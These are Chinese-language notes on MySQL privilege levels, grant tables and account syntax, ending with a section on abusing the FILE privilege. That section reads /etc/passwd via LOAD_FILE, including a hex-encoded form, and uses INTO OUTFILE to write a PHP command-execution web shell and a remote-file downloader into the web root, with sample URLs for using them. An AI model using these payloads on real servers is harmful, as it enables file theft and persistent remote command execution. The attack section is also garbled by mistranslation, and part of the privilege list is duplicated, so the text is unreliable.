MySQL权限级别与相关指令

MySQL权限级别

全局性的管理权限，作用于整个MySQL实例级别

数据库级别的权限，作用于某个指定的数据库上或者所有的数据库上

数据库对象级别的权限，作用于指定的数据库对象上(表、视图等)或 者所有的数据库对象上

权限存储在mysql库的user, db, tables\_priv, columns\_priv, and procs\_priv这几个系统表中，待MySQL实例启动后就加载到内存中

权限详情：

All/All Privileges权限代表全局或者全数据库对象级别的所有权限

Alter权限代表允许修改表结构的权限，但必须要求有create和insert权 限配合。如果是rename表名，则要求有alter和drop原表，create和 insert新表的权限

Alter routine权限代表允许修改或者删除存储过程、函数的权限

Create权限代表允许创建新的数据库和表的权限

Createroutine权限代表允许创建存储过程、函数的权限

Createtablespace权限代表允许创建、修改、删除表空间和日志组的权 限

Create temporary tables权限代表允许创建临时表的权限

Createuser权限代表允许创建、修改、删除、重命名user的权限

Createview权限代表允许创建视图的权限

Delete权限代表允许删除行数据的权限

• Drop权限代表允许删除数据库、表、视图的权限，包括truncatetable命令

• Event权限代表允许查询，创建，修改，删除MySQL事件

• Execute权限代表允许执行存储过程和函数的权限

• File权限代表允许在MySQL可以访问的目录进行读写磁盘文件操作，可使用 的命令包括load data infile,select ... into outfile,load file()函数

• Grant option权限代表是否允许此用户授权或者收回给其他用户你给予的权 限

• Index权限代表是否允许创建和删除索引

• Insert权限代表是否允许在表里插入数据，同时在执行analyze table,optimize table,repair table语句的时候也需要insert权限

• Lock权限代表允许对拥有select权限的表进行锁定，以防止其他链接对此表 的读或写

Process权限代表允许查看MySQL中的进程信息，比如执行showprocesslist,

• Reference权限是在5.7.6版本之后引入，代表是否允许创建外键

• Reload权限代表允许执行flush命令，指明重新加载权限表到系统内存中， refresh命令代表关闭和重新开启日志文件并刷新所有的表

• Replication client权限代表允许执行show master status,show slave status,show binary logs命令

• Replication slave权限代表允许slave主机通过此用户连接master以便建立主从 复制关系

• Select权限代表允许从表中查看数据，某些不查询表数据的select执行则不需 要此权限，如Select 1+1，Select PI()+2;而且select权限在执行update/delete 语句中含有where条件的情况下也是需要的

• Showdatabases权限代表通过执行showdatabases命令查看所有的数据库名

• Show view权限代表通过执行show create view命令查看视图创建的语句mysqladmin processlist, show engine等命令

Process权限代表允许查看MySQL中的进程信息，比如执行showprocesslist,

• Reference权限是在5.7.6版本之后引入，代表是否允许创建外键

• Reload权限代表允许执行flush命令，指明重新加载权限表到系统内存中， refresh命令代表关闭和重新开启日志文件并刷新所有的表

• Replication client权限代表允许执行show master status,show slave status,show binary logs命令

• Replication slave权限代表允许slave主机通过此用户连接master以便建立主从 复制关系

• Select权限代表允许从表中查看数据，某些不查询表数据的select执行则不需 要此权限，如Select 1+1，Select PI()+2;而且select权限在执行update/delete 语句中含有where条件的情况下也是需要的

• Showdatabases权限代表通过执行showdatabases命令查看所有的数据库名

• Show view权限代表通过执行show create view命令查看视图创建的语句mysqladmin processlist, show engine等命令

• Shutdown权限代表允许关闭数据库实例，执行语句包括mysqladmin shutdown

• Super权限代表允许执行一系列数据库管理命令，包括kill强制关闭某个连接 命令，change master to创建复制关系命令，以及create/alter/drop server等命 令

• Trigger权限代表允许创建，删除，执行，显示触发器的权限

• Update权限代表允许修改表中的数据的权限

• Usage权限是创建一个用户之后的默认权限，其本身代表连接登录权限

系统权限表

• 权限存储在mysql库的user,db, tables\_priv, columns\_priv, and procs\_priv这几个系统表中，待MySQL实例启动后就加载到内存中

• User表:存放用户账户信息以及全局级别(所有数据库)权限，决定了 来自哪些主机的哪些用户可以访问数据库实例，如果有全局权限则意味

着对所有数据库都有此权限

• Db表:存放数据库级别的权限，决定了来自哪些主机的哪些用户可以访 问此数据库

• Tables\_priv表:存放表级别的权限，决定了来自哪些主机的哪些用户可以 访问数据库的这个表

• Columns\_priv表:存放列级别的权限，决定了来自哪些主机的哪些用户可 以访问数据库表的这个字段

• Procs\_priv表:存放存储过程和函数级别的权限

• User和db权限表结构

• User权限表结构中的特殊字段

• Plugin,password,authentication\_string三个字段存放用户认证信息

• Password\_expired设置成’Y’则表明允许DBA将此用户的密码设置成过期而 且过期后要求用户的使用者重置密码(alter user/set password重置密码)

• Password\_last\_changed作为一个时间戳字段代表密码上次修改时间，执 行create user/alter user/set password/grant等命令创建用户或修改用户密 码时此数值自动更新

• Password\_lifetime代表从password\_last\_changed时间开始此密码过期的天 数

• Account\_locked代表此用户被锁住，无法使用

• Tables\_priv和columns\_priv权限表结构

• Timestamp和grantor两个字段暂时没用

• Tables\_priv和columns\_priv权限值

• procs\_priv权限表结构

• Routine\_type是枚举类型，代表是存储过程还是函数

• Timestamp和grantor两个字段暂时没用

• 系统权限表字段长度限制表

• 权限认证中的大小写敏感问题

• 字段user,password,authencation\_string,db,table\_name大小写敏感

• 字段host,column\_name,routine\_name大小写不敏感

• User用户大小写敏感

MySQL授权用户

• MySQL的授权用户由两部分组成:用户名和登录主机名

• 表达用户的语法为‘user\_name’@‘host\_name’

• 单引号不是必须，但如果其中包含特殊字符则是必须的

• ‘’@‘localhost’代表匿名登录的用户

• Host\_name可以使主机名或者ipv4/ipv6的地址。Localhost代表本机，127.0.0.1代表ipv4的 本机地址，::1代表ipv6的本机地址

• Host\_name字段允许使用%和\_两个匹配字符，比如’%’代表所有主机，’%.mysql.com’代表 来自mysql.com这个域名下的所有主机，‘192.168.1.%’代表所有来自192.168.1网段的主机

MySQL修改权限的生效

• 执行Grant,revoke,setpassword,renameuser命令修改权限之后，MySQL会自动

将修改后的权限信息同步加载到系统内存中

• 如果执行insert/update/delete操作上述的系统权限表之后，则必须再执行刷 新权限命令才能同步到系统内存中，刷新权限命令包括:flush privileges/mysqladmin flush-privileges/mysqladmin reload

• 如果是修改tables和columns级别的权限，则客户端的下次操作新权限就会生 效

• 如果是修改database级别的权限，则新权限在客户端执行use database命令后 生效

• 如果是修改global级别的权限，则需要重新创建连接新权限才能生效

• --skip-grant-tables可以跳过所有系统权限表而允许所有用户登录，只在特殊 情况下暂时使用

如果用户具有FILE权限，则可以读取文件。

LOAD\_FILE（）

例子：

SELECT LOAD\_FILE（ '/ etc / passwd' ） ;

SELECT LOAD\_FILE（ 0x2F6574632F706173737764 ） ;

笔记：

文件必须位于服务器主机上。

LOAD\_FILE（）的基本目录是 @@datadir 。

该文件必须是MySQL用户可读的。

文件大小必须小于max\_allowed\_pa​​cket。

默认大小为 @@max\_allowed\_packet 1047552字节。

写文件：

如果用户具有FILE权限，则可以创建文件。

INTO OUTFILE / DUMPFILE

例子：

编写PHP shell：

选择'<？系统（$ \_ GET [\ 'C \']）; ？'' INTO OUTFILE '/var/www/shell.php';

然后访问：

HTTP：//localhost/shell.php C =猫％20 / etc / passwd中

要写下载器：

选择'<？fwrite（fopen（$ \_ GET [f]，\'w \'），file\_get\_contents（$ \_ GET [u]））; ？>' INTO OUTFILE '/var/www/get.php'

然后访问：

HTTP：//localhost/get.php F = shell.php＆U = HTTP：//localhost/c99.txt

笔记：

文件无法覆盖 INTO OUTFILE 。

INTO OUTFILE 必须是查询中的最后一个语句。

无法对路径名进行编码，因此需要引号。